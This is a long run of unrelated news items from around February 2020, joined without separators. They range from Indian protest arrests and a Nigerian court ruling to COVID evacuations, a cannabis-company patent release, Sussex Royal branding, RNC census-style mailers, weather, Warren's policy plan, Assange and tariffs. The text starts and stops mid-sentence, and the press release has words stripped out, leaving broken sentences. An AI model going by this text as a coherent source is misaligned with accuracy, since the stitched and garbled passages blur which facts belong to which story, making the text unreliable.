information or to interview a subject matter expert at Binc: CONTACT Tawny Labrum tawny@bincsearch.com 818-917-2077 A day after pro-Pakistan slogans were raised by an agitator at an anti-Citizenship Amendment Act event in Bengaluru, a young woman was detained and booked on Friday for holding a 'Kashmir Mukti (liberation), Dalit Mukti, Muslim Mukti' placard at a counter protest in the city, police said. A case has been registered for offences under the Indian Penal Code including creating enmity between different groups of people against the woman, identified as Arudra, they said. "We have registered the case suo moto (on their own) for creating enmity between different groups of people," Deputy Commissioner of Police Chetan Singh Rathore said adding she was being questioned. The woman was produced before a city court judge, who remanded her to 14 days judicial custody till March 5. Holding the placard with the slogans, Arudra was spotted sitting among the participants of the protest organised by the Hindu Jagaran Vedike against Amulya Leona who had shouted 'Pakistan Zindabad' on Thursday. She was escorted out of the place as protesters asked her to leave and crowd started gathering, city police chief Bhaskar Rao said. "She was taken into custody for her own safety along with the placard... we will find out her background, where she has come from and who are behind her among other things," Rao had earlier told reporters, adding she did not raise any slogan. The 'Kashmir Mukti, Dalit Mukti, Muslim Mukti' slogans were written in both Kannada and English in the placard held by her. The Hindu Jagaran Vedike organised the protest against Amulya Leona who had raised 'Pakistan Zindabad' slogan thrice at an even against the Citizenship Amendment Act. She had made the controversial slogans in the presence of All India Majlis-e-Ittehadul Muslimeen chief Asaduddin Owaisi after the organisers of the event under the banner of 'Save Constitution' invited her to address the gathering, prompting him to denounce her act. After being removed from the stage, Amulya was later arrested on charges of sedition and produced before a magistrate court which remanded her to 14 days judicial custody. An upset Owaisi had said he would not have participated in the protest had he known that the woman had been invited for the event and asserted his party had no links with her. The Kaduna State Government has vowed to appeal the court ruling that freed 91 Shiites who had been detained for over four years. PREMIUM TIMES reported how a Kaduna State High Court on Friday discharged the Shiites whom the Kaduna government accused of Criminal Conspiracy, Culpable Homicide, Unlawful Assembly, Disturbance of Public Peace and Wrongful Restraint. The court said the Kaduna government could not prove its case against the Shiites. The Shiites, members of the Islamic Movement of Nigeria (IMN) were arrested in December 2015 after hundreds of Shiites were massacred by the army for blocking a public road. Over 330 Shiites were killed in the massacre that has been condemned by local and international rights groups including Amnesty International and Human Rights Watch. The killings is currently being investigated by the International Criminals Court (ICC). No soldier or army officer has been prosecuted for the massacre. However the IMN leader, Ibrahim El-Zakzaky and his wife, Zeenah, are being prosecuted for their alleged roles in the murder of a soldier during the violence. Dozens of Shiites calling for freedom for Mr El-Zakzaky and his wife have been killed across Nigeria since 2015. Some police officers and journalists have also been killed in such protests. The 91 Shiites freed on Friday were arrested after the 2015 incident for their alleged roles in it. In a statement by its attorney-general, Aisha Dikko, the Kaduna government said it is dissatisfied with the ruling of the court which is, in our view, erroneous in law, perverse and cannot be supported having regards to the evidence led before the court by the prosecution. Ms Dikko provided information on the evidence the Kaduna government presented in court. Read the full statement from the attorney-general below. The Kaduna State Government will appeal the discharge of the defendants in the State versus Mahdi Munkaila and 91 others. This is one the cases arising from the Zaria clashes of December 2015. After calling 36 witnesses and tendering 106 exhibits, the prosecution is surprised that the court concluded that a legally admissible case had not been made. The state is dissatisfied with the ruling of the court which is, in our view, erroneous in law, perverse and cannot be supported having regards to the evidence led before the court by the prosecution. As such, the state will be lodging an appeal at the Court of Appeal, Kaduna, as soon as the full text of the ruling of the high court and other records are compiled. The case in KDH/KAD/40C/2016 began as a fallout of the events that began in Zaria from 12th December 2015 when members of a now proscribed group attempted to prevent the convoy of the Chief of Army Staff from passing through a public highway. After the clashes, 90 of those arrested at the scene were handed over to the police. At the conclusion of investigations, a five count charge of Criminal Conspiracy, Culpable Homicide, Unlawful Assembly, Disturbance of Public Peace and Wrongful Restraint, under Sections 97, 221, 102, 106 and 256 of the Penal Code, was preferred against them. The matter was assigned to Hon. Justice H.T.D Gwadah of the Kaduna State High Court for trial. A total of 36 witnesses were called by the prosecuting counsel from the office of the Attorney General & Commissioner for Justice of Kaduna State. Witnesses included senior military officers who were with the Chief of Army Staff at the scene of the crime, Senior Police Officers, a Consultant Pathologist, Ballisticians and Victims of the crime. In the same vein, 106 exhibits were tendered by the prosecution during the trial. At the close of the prosecution case, the defence team made a no case submission, arguing that the prosecution had not made out a case to warrant the accused persons to defend themselves. It is a matter of utmost surprise that in its ruling today, 21st February 2020, the court held that the evidence the prosecution led is not legally admissible and discharged the defendants.This is notwithstanding the fact that Senior Military Officers and Senior Police Officers testified, and that exhibits were tendered and legally admitted by the court. Obeisance to the rule of law compels us to challenge this conclusion at the Court of Appeal. Signed Advertisements Aisha Dikko Attorney-General & Commissioner of Justice A chartered plane carrying more than 200 Canadians evacuated from the coronavirus-quarantined Diamond Princess cruise ship landed at a military base in Ontario province early Friday. All the passengers who arrived at Canadian Forces Base Trenton, 200 kilometers (120 miles) southwest of Ottawa, had tested negative for COVID-19, CBC reported. They will however be quarantined for a further 14 days at the Nav Centre in Cornwall, Ontario, a hotel and conference center which has previously been used by the government as an emergency shelter, the national broadcaster said. The Diamond Princess, which is moored in Yokohama near Tokyo, is the biggest coronavirus cluster outside the Chinese epicenter, with more than 600 cases confirmed among the 3,700 passengers and crew. The ship was quarantined on February 5 when a passenger who left in Hong Kong was found infected with the virus. Passengers were confined to cabins except for brief trips on deck wearing masks and gloves, when they were told to keep their distance from others. Hundreds of passengers have since been allowed to disembark this week after testing negative for the deadly virus. Of the 246 Canadians originally on board, 47 had contracted the coronavirus, CBC said, but they were not on the evacuation flight. It was the third flight to evacuate Canadians from coronavirus quarantine, after two earlier ones from the outbreak epicenter in Wuhan, China. More than 200 Canadians who were quarantined at CFB Trenton after arriving on the first plane from Wuhan on February 7 and a separate US charter flight are due to be released from the base Friday, CTV said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Latest News Sydney property prices might not drop yet, as planning problems persist NSW planning approvals have fallen off a cliff since October, showing that the supply crisis might yet continue The key trends for property investment in 2022 analysed The key trends for property investment in 2022 analysed, with rentvesting and borderless investing likely to surge An SME lender has appointed a state sales manager to lead the teams in Western Australia and South Australia. Scottish Pacific has welcomed Richard Waldman into the role, to manage and support the sales teams in Perth and Adelaide in helping ensure local businesses have access to the funds they require to grow. Ive seen very viable, solid businesses not be able to find funding with the banks. Business owners have so much more than a bank overdraft at their disposal when it comes to funding their enterprises but so many are still not aware of their options, said Waldman. SMEs are the lifeblood of the Australian economy and if we can introduce more businesses in WA and SA to better funding options, its a win for the sector and the whole economy. Waldman will work alongside business owners and their advisers to tackle working capital problems using invoice finance, trade finance, import finance, asset finance and bad debt protection. Im looking forward to working with SMEs and their accountants and commercial brokers in showing them a broader range of workable funding options, he said. Waldman joins Scottish Pacific following a career in the UKs more mature invoice finance industry. His previous positions include being in senior management at the Royal Bank of Scotland, regional managing director with Aldermore Invoice Finance and national sales leader with Ultimate Finance. In Richard we have someone with extensive industry expertise who can help local businesses with the right funding, said Scottish Pacific head of client acquisition Wayne Smith upon announcing the new appointment. SAN DIEGO Feb. 20, 2020 Medical Marijuana, Inc. the United States China Chinese Patent CN106456573B Kannalife, Inc. Stuart Titus WIPO/PCT Patent WO2015/106108A2 U.S. Patent 9,611,213 "Novel Functionalized 1,3-Benzene Diols and their Method of Use for the Treatment of Hepatic Encephalopathy," "Novel Functionalized 1,3-Benzene Diols and their Method of Use for the Treatment of Hepatic Encephalopathy," U.S. Patent 10,004,722 "Method for treating hepatic encephalopathy or a disease associated with free radical mediate stress and oxidative stress with novel functionalized 1,3-benzene diols," "Method for treating hepatic encephalopathy or a disease associated with free radical mediate stress and oxidative stress with novel functionalized 1,3-benzene diols," Japanese Patent JP6486950B2 "Novel Functionalized 1,3-Benzene Diols and their Method of Use for the Treatment of Hepatic Encephalopathy," and "Novel Functionalized 1,3-Benzene Diols and their Method of Use for the Treatment of Hepatic Encephalopathy," and Russian Patent RU2676475C2 "Novel Functionalized 1,3-Benzene Diols and their Method of Use for the Treatment of Hepatic Encephalopathy." China's China $137 billion Dean Petkanas Bucks County Doylestown, PA. www.kannalife.com @Kannalife We are a company of firsts MJNA Kannaway HempMeds AXIM Biotechnologies, Inc. Kannalife, Inc CNBC Brazil Mexico Argentina Paraguay Real Scientific Hemp Oil Mexico Brazil San Diego, California OTCMarkets.com www.medicalmarijuanainc.com click here buy CBD oil and other products at Medical Marijuana, Inc.'s shop. Andrew Hard www.cmwmedia.com /PRNewswire/ --(OTC: MJNA) (the "Company"), the first-ever publicly traded cannabis company inthat launched the world's first-ever cannabis-derived nutraceutical products, brands and supply chain, announced today thathas issued(the "Patent") specific to "Novel Functionalized 1,3-Benzene Diols and their Method of Use for the Treatment of Hepatic Encephalopathy" to its portfolio investment company("Kannalife") (OTC: KLFE). The Patent strengthens Kannalife's patent portfolio of cannabidiol (CBD)-like molecules.Kannalife's intellectual property estate of CBD-like molecules ("KLS Family"), which is led by KLS-13019, are capable of acting as neuroprotective agents and have the potential to reverse chemotherapy induced neuropathic pain. Under the Patent, Kannalife will further explore the application and potential of its new molecular entities (NMEs) across disease indications marked by neurodegeneration, oxidative stress, and chronic pain."We're proud of Kannalife's team for the amount of significant progress they've made with KLS-13019 over the past few years," said Dr., CEO of Medical Marijuana, Inc. "As the FDA and other national regulatory bodies call for more cannabis and cannabinoid-related research studies in 2020, this new patent furthers Kannalife as a global research leader in the emerging field of cannabinoid therapeutics. We believe that life sciences funds should take notice here as Kannalife is a leading med-chem company in this space."The issued Patent is part of the dramatically increasing intellectual property estate of the globaltitled "Novel Functionalized 1,3-Benzene Diols and their Method of Use for the Treatment of Hepatic Encephalopathy" (the "PCT Patent"). Since the 2015 filing of the initial PCT Patent, Kannalife has received patent approval across three significant global markets:increasingly open marketplace, as well as its commitment to the production of ethical pharmaceuticals, has fueled the country's growth in healthcare.rapidly grew into the world's second-biggest drug market in 2018 and is estimated to reachin sales by 2030," said, CEO of Kannalife.KLS-13019 is Kannalife's leading proprietary investigational CBD-like product for the potential treatment of a range of neurodegenerative and neuropathic pain disorders, beginning with chemotherapy-induced peripheral neuropathy (CIPN). KLS-13019 has not been reviewed or approved for patient use by the U.S. Food and Drug Administration (FDA) or any other healthcare authority in the world. It's safety and efficacy have not been confirmed by FDA-approved research.Kannalife, Inc. is a biopharmaceutical company focused on the development of proprietary and patented cannabidiol (CBD) and CBD-like molecules for patients suffering from unmet medical needs of neurodegenerative disorders - including chemotherapy-induced peripheral neuropathy (CIPN), a chronic neuropathy caused by toxic chemotherapeutic agents; hepatic encephalopathy (HE), a neurotoxic brain-liver disorder caused by excessive concentrations of ammonia and ethanol in the brain; mild traumatic brain injury (mTBI), a disorder associated with single and repetitive impact injuries; and chronic traumatic encephalopathy (CTE), a disease associated with highly repetitive impact injuries in professional and amateur sports.The Company's KLS Family of proprietary molecules focuses on treating oxidative stress-related diseases such as HE, chronic pain from neuropathies like CIPN, and neurodegenerative diseases like CTE. Kannalife conducts its research and development efforts at the Pennsylvania Biotechnology Center ofinFor more information about Kannalife, Inc., visitand visit the Company's Twitter page at. Medical Marijuana, Inc. () is a cannabis company with three distinct business units in the non-psychoactive cannabinoid space: a global portfolio of cannabinoid-based nutraceutical brands led byand; a pioneer in sourcing the highest-quality legal non-psychoactive cannabis products derived from industrial hemp; and a cannabinoid-based clinical research and botanical drug development sector led by its pharmaceutical investment companies and partners includingand. Medical Marijuana, Inc. was named a top CBD producer by. Medical Marijuana, Inc. was also the first company to receive historic import permits for CBD products from the governments of, andand is a leader in the development of international markets. The company's flagship producthas been used in several successful clinical studies throughoutandto understand its safety and efficacy.Medical Marijuana, Inc.'s headquarters is in, and additional information is available ator by visiting. To see Medical Marijuana, Inc.'s corporate video,Shareholders and consumers are also encouraged toThis press release may contain certain forward-looking statements and information, as defined within the meaning of Section 27A of the Securities Act of 1933 and Section 21E of the Securities Exchange Act of 1934, and is subject to the Safe Harbor created by those sections. This material contains statements about expected future events and/or financial results that are forward-looking in nature and subject to risks and uncertainties. Such forward-looking statements by definition involve risks, uncertainties and other factors, which may cause the actual results, performance or achievements of Medical Marijuana, Inc. to be materially different from the statements made herein.These statements have not been evaluated by the Food and Drug Administration. This product is not intended to diagnose, treat, cure, or prevent any disease.Medical Marijuana, Inc. does not sell or distribute any products that are in violation of the United States Controlled Substances Act.Public Relations Contact:Chief Executive OfficerCMW MediaP. 858-264-6600andrew.hard@cmwmedia.comInvestor Relations Contact:P. (858) 283-4016Investors@medicalmarijuanainc.com View original content:http://www.prnewswire.com/news-releases/medical-marijuana-inc-portfolio-investment-company-kannalife-inc-strengthens-intellectual-property-portfolio-with-new-chinese-issued-patent-301008210.html SOURCE Medical Marijuana, Inc. Meghan Markle has told friends there is nothing 'legally stopping' her and Prince Harry from using their Sussex Royal name, despite the Queen banning them from using it, DailyMail.com has learned. The 38-year-old complained to her inner circle that using the name 'shouldn't even be an issue in the first place and it's not like they want to be in the business of selling T-shirts and pencils,' the insider said. They added: 'Meghan said she's done with the drama and has no room in her life for naysayers, and the same goes for Harry.' On Tuesday, DailyMail revealed the Queen and senior officials agreed the two could no longer keep the word 'royal' in their 'branding', despite the likely thousands of dollars Meghan and Harry have already sunk into their website and trademark applications. The news did not sit well with Meghan, as her friend explained: 'Meghan said the global projects they are working on speak for themselves and they chose that name to protect the royal name, not profit off of it.' Meghan Markle has told friends there's nothing 'legally stopping' her and Prince Harry from using their Sussex Royal name, despite the Queen banning them from using it, DailyMail.com has learned On Tuesday, DailyMail revealed the Queen and senior officials agreed the two could no longer keep the word 'royal' in their 'branding', despite the likely thousands of dollars Meghan and Harry have already sunk into their website and trademark applications The Sussexes' Instagram page, @sussexroyal, has amassed more than 11 million followers. The couple have spent tens of thousands on a new Sussex Royal website to complement their popular Instagram feed. They have also sought to register Sussex Royal as a global trademark for a range of items and activities, including clothing, stationery, books and teaching materials The friend continued: 'Meghan said the name of their brand pales in comparison to the foundation they are building and the enormously positive impact it will have on people and the environment.' But, the insider added: 'Meghan has told her inner circle that their success is inevitable with or without their current brand name. 'She said regardless of the name, Harry and Archie have royal blood and no one can take that away. And that as a family, they will always be considered royalty. 'She said they know what their true intentions are and that's all that matters. 'They are creating a better world for Archie. And it's Archie who keeps them focused on the big picture.' The news did not sit well with Meghan, as her friend explained: 'Meghan said the global projects they are working on speak for themselves and they chose that name to protect the royal name, not profit off of it' The insider also revealed that Archie 'already has a big personality, like his daddy', adding: 'He's curious about every little thing and has the absolute, most adorable giggle. He's just pure love and joy.' DailyMail.com did not receive a response from Meghan's team after reaching out for comment. However, hours after publishing this piece, their spokesperson said Meghan and Harry had come to an agreement with the Queen that their organization, when it is announced this Spring, will not be named Sussex Royal Foundation. It added: 'The Duke and Duchess of Sussex do not intend to use ''SussexRoyal'' in any territory post Spring 2020.' The news comes as Prince Harry, 35, was spotted making a grocery run in Vancouver on Saturday. He was seen carrying an eco-friendly bag full of groceries as he headed home to the $14 million Vancouver Island mansion where he and Meghan are living with baby Archie. Harry appeared to be in good spirits while carrying out the everyday task as sources have previously told DailyMail.com both he and Meghan have relished being 'real homebodies' since leaving the UK, and doing common tasks such as taking the dogs out and hiking with friends. On Wednesday it was announced the couple would no longer have an office at Buckingham Palace starting in April, following their decision last month to step down as senior royals. The source added: 'Meghan told her close friends that letting go of their staff (in England) shouldn't have come as a surprise to anyone. ' The insider revealed that Archie 'already has a big personality, like his daddy', saying: 'He's curious about every little thing and has the absolute, most adorable giggle. He's just pure love and joy.' Pictured: Harry and Archie in a snap believed to have been taken by Meghan over the holiday season in Canada The 38-year-old complained to her inner circle that using the name 'shouldn't even be an issue in the first place and it's not like they want to be in the business of selling T-shirts and pencils,' the insider said. Pictured: Documents published by the Intellectual Property Office show how the Duke and Duchess of Sussex planned to expand their brand Meghan and Harry have likely spent a small fortune on their Sussex Royal website to complement their hugely popular Instagram feed. They have also sought to register Sussex Royal as a global trademark for a range of items and activities, including clothing, stationery, books and teaching materials. In addition, they have taken steps to set up a new charitable organisation: Sussex Royal, The Foundation of the Duke and Duchess of Sussex. But the Queen has now made clear that they will need to 're-brand'. A source told DailyMail that, amid what has been described as a 'complex' situation, the 'fine detail' is still being thrashed out. The Queen's command is thought to represent a major blow to the Sussexes, who would be faced with re-registering everything from their website to their charity under a new label. Harry and Meghan first began using the Sussex Royal branding this time last year, after they split their household from that of the Duke and Duchess of Cambridge known as Kensington Royal. The Sussexes' Instagram page, @sussexroyal, has amassed 11.2 million followers the same number of fans as William and Kate's account. The insider added: 'Meghan said she's done with the drama and has no room in her life for naysayers, and the same goes for Harry.' Pictured: Harry and Meghan are seen together for the first time since leaving their royal duties on February 14 It was a natural progression, therefore, for Harry and Meghan to use the moniker for their new charitable foundation, due to be launched this year with the support of Buckingham Palace. And as they secretly prepared for a new life in Canada, it was clear that Sussex Royal was at the forefront of Harry and Meghan's plans. Dozens of trademark applications were made for everything from bandannas to notebooks although sources have always stressed that these were preventative measures to protect the trademark from others, and never intended for commercial use. The couple also privately commissioned a new website. It went live last month to coincide with their bombshell announcement, with the introduction: 'Welcome to the Sussex Royal community, your source for information on the Duke and Duchess of Sussex.' A source told the Daily Mail: 'In many ways this is inevitable given their decision to step down, but it must surely come as a blow to the couple as they have invested everything into the Sussex Royal brand The Queen would have had little choice, however. 'The Sussexes' original plan of being half-in, half-out working royals was never going to work. Obviously, as the Queen has made clear, they are still much-loved members of her family. 'But if they aren't carrying out official duties and are now seeking other commercial opportunities, they simply cannot be allowed to market themselves as royals.' Still another source previously told DailyMail.com the two have 'no regrets' about their decision to step down. Your tax-deductible gift today powers our reporters and keeps us independent. We rely on you, our reader, not paywalls to stay funded because we believe important news and information should be freely accessible to all. Start your day with LAist Sign up for the Morning Brief, delivered weekdays. Subscribe Throughout Southern California, residents are getting mailers from the Republican National Committee that look an awful lot like official Census 2020 forms, setting off alarm bells for Congressional Democrats. The RNC mailers are labeled as "2020 Congressional District Census" and include a questionnaire and urgent instructions: "When you are finished answering your Census Document, please return it within the next 7 days to ensure accurate tabulation and dependable results." But they are not census documents -- in fact, households won't begin receiving official U.S. Census Bureau mail until March. Both U.S. Reps. Gil Cisneros, D-Yorba Linda, and Katie Porter, D-Irvine have warned constituents to read the fine print: At the end of the questionnaire, it says the mailer was paid for by the RNC, and provides information on how to make a contribution. Many of the questions on the RNC mailers carry an obvious political slant: for example, whether the national media "has a strong bias against all things Donald Trump and Republican" and whether House Speaker Nancy Pelosi and the "Democrat-controlled House are holding President Trump's agenda hostage." Still, there have been reports of people mistaking the RNC mailers for actual census forms because of their strong resemblance. "It's not appropriate for any political party to try to hijack the brand of the United States Census for their own political gain," Porter said. The problem came to Porter's attention last year when people in California and beyond started posting stories on social media of how older loved ones were being duped into thinking the RNC mailers were actual census forms. The real thing: What actual 2020 Census forms look like. (Screenshot of 2020 Census forms) In recent months, Porter has complained to the Census Bureau and asked the U.S Postal Service to look into possible mail fraud. Porter said she's also working with Democratic Rep. Carolyn Maloney of New York, the chair of the House Oversight Committee who sponsored 2010 legislation called Prevent Deceptive Census Look Alike Mailings Act. The law, which Porter said may need to be updated, was a response to census-style mailings from the RNC a decade ago. (Screenshot from Rep. Katie Porter's Twitter account) Porter said she was further disturbed when President Trump's re-election campaign recently sent out texts urging recipients to complete a "census survey." LAist/KPCC reached out to the Republican National Committee and Trump's re-election campaign. A spokeswoman for the campaign responded in an email Thursday that the mailers are clearly marked as coming from the RNC. Cisneros, who recently got a complaint about the RNC mailer from a constituent in Fullerton, said that the committee is acting with a "lack of integrity." "It might not be illegal but it doesn't mean that it's the right thing to do," Cisneros said. Cisneros said his district, the 39th, is largely Latino and Asian American -- two groups with historically lower rates of census participation. He fears the confusing RNC mailers will only worsen the situation. Winter is not done in Michigan. Even though we are going to have a very mild weekend this weekend, there are already signs of plunging back to winter cold by the second half of next week. Heres the six to 10 day temperature forecast, which covers next Wednesday through Sunday. Temperature forecast for February 26 to March 1, 2020 After a storm system moves through the Great Lakes next Tuesday and Wednesday, colder air will swoop south out of Canada. It looks like next Thursday, Friday and Saturday will have high temperatures in the teens and 20s in Michigan. So thats cold, but not extreme. The issuer of the extended forecasts, NOAAs Climate Prediction Center, gives us a discussion of why they are drawing the forecast in a certain way. They also give us an idea of how their forecast has changed from the previous days. There is one question I have in my mind, and Im sure is in your mind too. Will this change to colder weather have lasting power, or will it be like other cold snaps this winter and let up fast. The Climate Prediction Center addresses that with the following statement. Model solutions have trended towards a more rapid eastward propagation of this upper-level trough which results in a faster moderation of temperatures. In other words they are starting to think this is a relatively short-lived cold snap. They use the word transient associated with the cold. The eight to 14 day forecast shows the greatest chance of cold shifting into the southeast U.S. while Michigans chances of cold declines. Temperature forecast for February 28 to March 5. You shouldnt take the eight to 14 day forecast as cold for Michigan, but rather uncertainty of what will happen. The reason uncertainty comes in during this period is because the weather pattern is expected to be swinging back toward normal to above normal temperatures. The Climate Prediction Center states, The predicted surface fields reveal a renewal of enhanced Pacific flow overspreading western Canada, favoring above normal temperatures across much of the northern Great Plains. In other words another one of these mild areas of weather will be developing to our west in the first few days of March. That is the same scenario we are in now. The mild weather this weekend will be brought on by warmth coming from Canada. We might shake this next blast of winter cold by the second week in March. And a way to see if the Climate Prediction Center thinks March will be fully winter is to look at their brand new March forecast, issued yesterday. Temperature forecast for March, issued February 20, 2020 While the forecast doesnt really swing one way or the other, cold or warm, it does indicate there isnt a high chance of March being colder than average. So what we have lurking in the back of our minds is this cold change next week a long lasting change that affects our spring? Right now it doesnt look long lasting. A pedestrian in her 70s has been killed in a road accident in Co Cork this evening. The crash, involving a pedestrian and a car, occurred on the R580, Kanturk to Buttevant Road at around 7pm this evening. Democratic presidential candidate Sen. Elizabeth Warren (D-Mass.) gestures as she speaks during a campaign stop in Manchester, N.H., on Nov. 23, 2019. (Mary Schwalm/AP Photo) Elizabeth Warren Releases Plan to Boost Small Businesses in America She vows to 'fight tooth-and-nail against government favors that help big businesses insulate themselves from competition' Elizabeth Warren has released a new plan to boost Americas small businesses, calling them the heart of our economy, and vowing to give them a leg up in their competitive struggle against powerful corporate rivals that she claims have skewed the playing field through lobbying and monopolistic practices. Now polling in fourth place among the Democrat field of 2020 White House hopefuls, the Massachusetts Senator said she would fight tooth-and-nail against government favors that help big businesses insulate themselves from competition or get special advantages compared to their smaller competitors. I want small businesses to be able to compete on a level playing field, Warren said, vowing to facilitate access to credit, overcome regulatory burden, and unleash the full purchasing power of the federal government to support small businesses. Warren, in fleshing out her plan, lambasts what she argues is the undue influence of big business on politics. Part of the problem for small businesses is Washington, she said. A lot of Washington politicians claim they are pro-business. What that often means, though, is that theyre pro-big business, and theyre willing to go to bat for every loophole, every tax break, and every other special favor that giant corporations want. She has criticized what she calls incredible market concentration across our economy and vowed to tackle it by pressing for stronger anti-trust enforcement and breaking up Big Tech. More than 70 percent of online traffic goes through sites owned or run Google or Facebook. Two companies produce 70 percent of the beer we drink. Three big chicken companies control 90 percent of the market, she said, citing examples of the market power of big corporations. We Love to Hate the 800-pound Gorilla Economist and best-selling author Tyler Cohen says big business in America does not deserve its bad rap. The basic view that big business is pulling the strings in Washington is one of the major myths of our time, Cohen wrote in his book Big Business: A Love Letter to an American Anti-Hero, an excerpt of which was published in Foreign Policy. We love to hate the 800-pound gorilla, his book synopsis reads on Google Books. A 2016 Gallup poll shows only 18 percent of people surveyed have a great deal or quite a lot of confidence in big business. But while corporate confidence is at an all-time low, Cohen argues the data does not support the view that big business is the dominant force shaping the U.S. government today. If corporations have such amazing influence over federal policy, why are they spending only $3 billion or $4 billion on lobbying when they could be investing at a more fervent pace and shifting around the allocation of much, much more government money? Well, corporations arent actually so much in control, he said, noting by comparison that corporations spend some $200 billion a year on advertising, suggesting that businesses would instead invest this money in lobbying if it brought significant results. A systematic study shows that business lobbying does not increase the chance of favorable legislation being passed for that business, nor do those businesses receive more government contracts; contributions to political action committees are ineffective too, Cohen claims. Warrens Plan One of the points of Warrens plan is to set up a Small Business Equity Fund that would provide $7 billion in grants to minority entrepreneurs, with the aim of creating 100,000 new minority-owned businesses. Another pillar of her scheme is a student loan debt cancellation plan, which would immediately forgive up to $50,000 in student loan debt to around 42 million Americans. Warren also promises to tweak the mechanism for allocating funds in two federal early-stage small business funding schemesthe Small Business Innovation Research (SBIR) and the Small Business Technology Transfer programs. My administration will spread SBIR awards across a greater variety of small businesses and focus especially on increasing the diversity of awardees, she said, arguing that under the current system, a large proportion of funds goes to repeat awardees instead of opening the door to new entrants. She would also funnel half a billion dollars a year over the next decade to entrepreneurs in the sustainable farming and food system sectors, and require the Farm Credit System to provide more funding to new and diverse farmers. Warrens plan calls for measures to support community banks and credit unions that she calls the financial lifeblood of many small businesses, while expanding support for the Community Development Financial Institutions (CDFIs) that invest in areas that are underserved by traditional lenders. Other measures she promises to introduce are reducing the regulatory burden on small businesses, including by expanding so-called one-stop shops that provide information to entrepreneurs on issues like registration and compliance. Jaden said he and his male friends want to be absolutely respectful of girls boundaries, but they also want to be taken seriously by the ones who expect them to behave in a stereotypically masculine way. In addition to deciphering this riddle, boys fear that one wrong move could ruin their current and future reputations in this age of swift, devastating social media justice, especially because many college admissions officers scan social media for black marks on candidates cyberpresence. WikiLeaks founder Julian Assange, who is jailed in Britain fighting extradition to the United States for espionage and computer hacking, may seek asylum in France, his lawyer Eric Dupond-Moretti said on Friday. Dupond-Moretti told Europe 1 radio that Assanges legal team would be in contact with French President Emmanuel Macron to make the case for Assange to get asylum in France. Assange has said that his youngest child and the childs mother are French. Assanges lawyers noted the request for asylum was not an ordinary demand because Assange is not on French soil. Dupond-Moretti said the French asylum request would be based on humanitarian and health grounds, arguing that Assange was showing signs of psychological torture. Article 53 of our constitution also allows for France to give refuge to a man who is being threatened on reasons of his freedom of expression, he told Europe 1. The 48-year old Assange, who spent seven years holed up in Ecuadors London embassy before he was dragged out last April, is wanted in the United States on 18 counts, including conspiring to hack government computers and violating an espionage law. He could spend decades behind bars if convicted. Assange is currently in jail in London, and Judge Vanessa Baraitser will hear arguments next week as to why he should or should not be sent to the United States. Australian-born Assange made global headlines in early 2010 when WikiLeaks published a classified U.S. military video showing a 2007 attack by Apache helicopters in Baghdad that killed a dozen people, including two Reuters news staff. An earlier request made in 2015 by Assange to get asylum in France was rejected. Earlier this week we had the laughable spectacle of American wine traders thanking the Administration for not increasing import tariffs to 100%. This gesture was inspired by the announcement that the duty on EU still wines and those under 14% proof (excluding cava and sherry) and Scotch whisky would stay at only 25%. As Trump said when he embarked on his vendetta against all things non-American, Trade wars are good; they are easy to win, he tweeted. The increase on import tariffs for wine will have a devastating effect on the thousands of small drinks distributors scattered around the US. Many of these are family businesses. One lady who runs a small company went on record as saying she has two choices: absorb the increase herself so as not to lose customers, or pass it on and still lose customers. Either way it was almost certainly a prelude to closing down her business. The Wine & Spirits Wholesalers of America Association has projected the loss of 36,000 jobs and US$1.6 billion in wages, costing the US economy more than $5.3 billion. The saddest aspect of the whole matter is that the wine business is paying for the Boeing-Airbus spat that Trump has emphasised as being the main justification for the introduction of the taxes on European imports. Why on earth should wine drinkers, distributors, importers, and producers be made to suffer on account of a totally extraneous issue? We may not care about the hardships that could befall employees of US businesses, but what about the families of employees of Scottish whisky distilleries? And those of liquor-making families in Germany, Ireland, Italy and Spain, also affected? Indeed, what possible reason could there be for making the wine trade the sacrificial lamb for the alleged infringements of a totally unconnected business? Trains might have to stop running from next month since over 11,300 railroad workers have not been paid their salaries due to bureaucratic wrangling. Vu Anh Minh, chairman of the state-owned Vietnam Railways Corporation, said on Thursday the company has not received money to pay 11,300 maintenance workers and grade-crossing operators, who make up a third of the staff, since the beginning of this year. The problem began when the corporation this year became one of 19 state-owned companies to be transferred to the Commission for the Management of State Capital at Enterprises (CMSC), an entity set up to manage the governments stakes of more than $43 billion in various companies. The CMSC refused to provide funds saying maintenance workers should be paid by the Ministry of Transport since it controls the maintenance and infrastructure budget. But the ministry is not permitted to provide funds to any entity it does not manage. The railroad company is in a dilemma since it does not have the funds to pay the salaries. "We have asked the Ministry of Transport to seek a solution from the government," Minh said. "But so far none has been found. There is a high risk that operations will have to be stopped by the first week of March." Deputy Minister of Transport Nguyen Ngoc Dong said his ministry has asked the government for permission to provide funds to ensure trains run as usual. VNR operates over 3,000 kilometers of railway tracks with over 30,000 staff. West Bengal BJP president Dilip Ghosh on Friday accused the state police of "dilly-dallying" over granting permission for Union Home Minister Amit Shah's proposed rally here on March 1. Shah is scheduled to address a rally at Shaheed Minar Ground where the BJP's state unit wants to felicitate him for the passage of the Citizenship Amendment Act (CAA). "We are yet to get permission from the police for the rally. The police department is saying board exams will be on during that period and we can't use loudspeakers. They have cited this reason and are dilly-dallying," Ghosh said. Ghosh said Shaheed Minar Ground is neither located in a residential area nor does it have any school in the vicinity. He also said no examination is scheduled for that day. "This is being done to politicize the matter." The BJP had submitted a letter to Kolkata police on Thursday seeking permission for the rally. The secondary examinations of the state board which started on February 18 will end on February 27. The higher secondary examinations will be held from March 12 to March 27. Restrictions are in place on the use of loudspeakers due to that. If allowed, it will be Shah's second visit to West Bengal after assuming the office of Union home minister. He had addressed a seminar on the Citizenship (Amendment) Bill (CAB) at Netaji Indoor stadium on October 1. The state's TMC government had denied police permission for Shah's rallies several times when he was the BJP president. Speaking about the upcoming municipal polls, Ghosh said his party is fully prepared but ample time should be given to parties for campaigning as the elections are likely to be held in mid-April and the board examinations will continue till the end of March. "We are ready to face the civic polls but where is the time for campaigning? We will get only 10-12 days for it. There should be ample time for campaigning," Ghosh said. When asked whether the BJP would move court if adequate time was not given for electioneering, he said, "Let them announce the dates. We would then take a call." According to the state government and State Election Commission (SEC) sources, dates between April 12 and April 26 are being considered for elections to 107 civic bodies and the Kolkata Municipal Corporation (KMC) which is being billed as "mini Assembly polls" ahead of the 2021 state election. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) STATEN ISLAND, N.Y. The speed camera program looks like its going to be with us for the long haul. Thats likely to be true even when Vision Zero architect Mayor Bill de Blasio leaves office in a couple 